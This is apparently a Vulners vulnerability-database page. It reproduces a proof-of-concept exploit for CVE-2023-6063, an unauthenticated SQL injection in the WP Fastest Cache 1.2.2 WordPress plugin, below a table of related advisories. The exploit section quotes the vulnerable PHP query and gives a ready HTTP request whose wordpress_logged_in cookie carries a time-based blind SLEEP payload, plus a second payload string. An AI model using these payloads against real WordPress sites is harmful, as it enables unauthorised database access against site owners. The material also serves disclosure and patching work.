| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| WordPress WP Fastest Cache 1.2.2 SQL Injection Vulnerability | 28 Feb 202400:00 | – | zdt | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 15 Nov 202314:53 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 10 Apr 202515:56 | – | githubexploit | |
| Exploit for CVE-2023-4666 | 14 Oct 202314:04 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 16 Nov 202317:41 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 10 Apr 202515:56 | – | githubexploit | |
| CVE-2023-6063 | 15 Nov 202312:43 | – | circl | |
| WordPress plugin WP Fastest Cache SQL Injection Vulnerability | 4 Dec 202300:00 | – | cnnvd | |
| CVE-2023-6063 | 4 Dec 202321:29 | – | cve | |
| CVE-2023-6063 WP Fastest Cache < 1.2.2 - Unauthenticated SQL Injection | 4 Dec 202321:29 | – | cvelist |
# Exploit Title: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2
# Date: 14.11.2023
# Exploit Author: Meryem Taşkın
# Vendor Homepage: https://www.wpfastestcache.com/
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Version: WP Fastest Cache 1.2.2
# Tested on: WP Fastest Cache 1.2.2
# CVE: CVE-2023-6063
## Description
An SQL injection vulnerability exists in version 1.2.2 of the WP Fastest Cache plugin, allowing an attacker to trigger SQL queries on the system without authentication.
## Vuln Code
public function is_user_admin(){
global $wpdb;
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
$username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value);
break;
}
}
if(isset($username) && $username){
$res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
FROM `$wpdb->users`
INNER JOIN `$wpdb->usermeta`
ON `$wpdb->users`.`user_login` = \"$username\" AND # $username varible is not escaped vulnerable to SQL injection
.....
## Exploit
GET / HTTP/1.1
Cookie: wordpress_logged_in_1=%22%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29A%29%20AND%20%221%22%3D%221
Host: meryem.local
## Parameter: Cookie #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: wordpress_logged_in_dsadasdasd=" AND (SELECT 3809 FROM (SELECT(SLEEP(5)))RDVP) AND "HQDg"="HQDg
---
## References
- [WPScan Blog Post](https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/)
- [WPScan Vulnerability](https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/)
- [CVE-2023-6063](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6063)
## Credits
- Original Researcher: Alex Sanford
- PoC: Meryem TaşkınData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation